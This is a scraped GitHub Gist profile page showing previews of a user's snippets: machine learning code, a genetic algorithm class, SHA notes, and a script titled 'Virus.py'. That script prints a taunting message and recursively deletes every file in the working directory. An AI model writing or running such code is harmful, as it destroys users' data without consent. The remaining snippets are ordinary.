Skip to content

Instantly share code, notes, and snippets.

View Divyosmi's full-sized avatar
🛩️
Let's #code

Divyosmi Goswami Divyosmi

🛩️
Let's #code
View GitHub Profile
def unique_vals(rows,col):
return list([row[col] for row in rows])
def class_counts(rows):
counts = {}
for row in rows:
import matplotlib.pyplot as plt
from math import sqrt
def rmse_metric(actual, predicted):
sum_error = 0.0 for i in range(len(actual)):
prediction_error = predicted[i] - actual[i]
import numpy as np
from sklearn.base import BaseEstimator, ClassifierMixin
from sklearn.utils import check_random_state
from sklearn.preprocessing import LabelEncoder
def projection_simplex(v, z=1):
import numpy as np
import matplotlib.pyplot as plt
%matplotlib inline
data = [[3,1.5,1],[2,1,0],[4,1.5,1],[3,1,0],[3.5,.5,1],[2,.5,0],[5.5,1,1],[1,1,0]]
test = [[2,2],[4.5,2]]
def sigmoid(x):
return (1/(1+np.exp(-x)))
import numpy as np
import matplotlib.pyplot as plt
class MultiClassLogisticRegression:
def __init__(self, n_iter = 10000, thres=1e-3):
@Divyosmi
Divyosmi / Virus.py
Created September 9, 2020 06:53
A small virus
import shutil,os
curr = os.cmd()
files = os.listdir(curr)
print("hahaha now all your files are mine {} these are all of them am i right".format(files),"i can feel that fear, and anger")
for i in files:
shutil.rmtree(i)
print("deleted {}".format(i))
@Divyosmi
Divyosmi / thank_you.json
Last active October 17, 2020 13:22
thank you for reading my blogs. Love Love.
{
"Title":"Thanks for Reading",
"Author":"Divyosmi Goswami",
"Description":"Thank you for spending your valuable time reading this blog and thank you for clapping my blog it means a lot to me thanks a lot again and if you want more blog like these have any idea mail me at [email protected].",
}
import numpy
import random
import matplotlib.pyplot
import pickle
import time
class GA:
def __init__(self,
num_generations,
num_parents_mating,
# -*- coding: utf-8 -*-
"""
Symbols and Operations
The following symbols are used in the secure hash algorithm specifications; each operates on w-bit words:
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.